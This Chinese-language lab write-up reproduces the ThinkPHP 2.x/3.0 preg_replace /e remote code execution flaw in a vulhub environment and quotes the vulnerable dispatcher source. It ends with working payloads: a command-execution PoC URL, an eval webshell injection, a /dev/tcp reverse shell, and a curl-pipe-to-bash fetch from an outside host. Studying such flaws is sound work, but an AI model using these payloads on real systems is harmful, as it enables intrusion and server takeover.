ThinkPHP 2.x/3.0 远程代码执行漏洞
漏洞成因
-
preg_replace的/e模式任意命令执行
-
${}代码执行
${phpinfo()}
注:php版本需要<=5.6.29
漏洞复现
先在vulhub启动漏洞环境
cd vulhub/thinkphp/2-rce/
docker-compose up -d
docker-compose ps
然后进入环境的docker
docker exec -it 2-rce_web_1 /bin/bash
在环境中搜索漏洞点
find . -name '*.php' | xargs grep -n 'preg_replace'

漏洞文件:thinkPHP/lib/think/util/dispatcher.class.php
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
关键源码
// 分析PATHINFO信息
self::getPathInfo();
if(!self::routerCheck()){ // 检测路由规则 如果没有则按默认规则调度URL
$paths = explode($depr,trim($_SERVER['PATH_INFO'],'/'));
$var = array();
if (C('APP_GROUP_LIST') && !isset($_GET[C('VAR_GROUP')])){
$var[C('VAR_GROUP')] = in_array(strtolower($paths[0]),explode(',',strtolower(C('APP_GROUP_LIST'))))? array_shift($paths) : '';
if(C('APP_GROUP_DENY') && in_array(strtolower($var[C('VAR_GROUP')]),explode(',',strtolower(C('APP_GROUP_DENY'))))) {
// 禁止直接访问分组
exit;
}
}
if(!isset($_GET[C('VAR_MODULE')])) {// 还没有定义模块名称
$var[C('VAR_MODULE')] = array_shift($paths);
}
$var[C('VAR_ACTION')] = array_shift($paths);
// 解析剩余的URL参数
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
$_GET = array_merge($var,$_GET);
}
if(!sel
poc
/index.php?s=/index/index/name/$%7Bsystem(whoami)%7D

反弹shell
/index.php?s=/index/index/name/${@print(eval($_POST[1]))} //写马
bash -i >& /dev/tcp/192.168.233.131/7777 0>&1 //创建bash文件
1=system("curl http://192.168.233.131/shell.sh | bash"); //反弹shell

浙公网安备 33010602011771号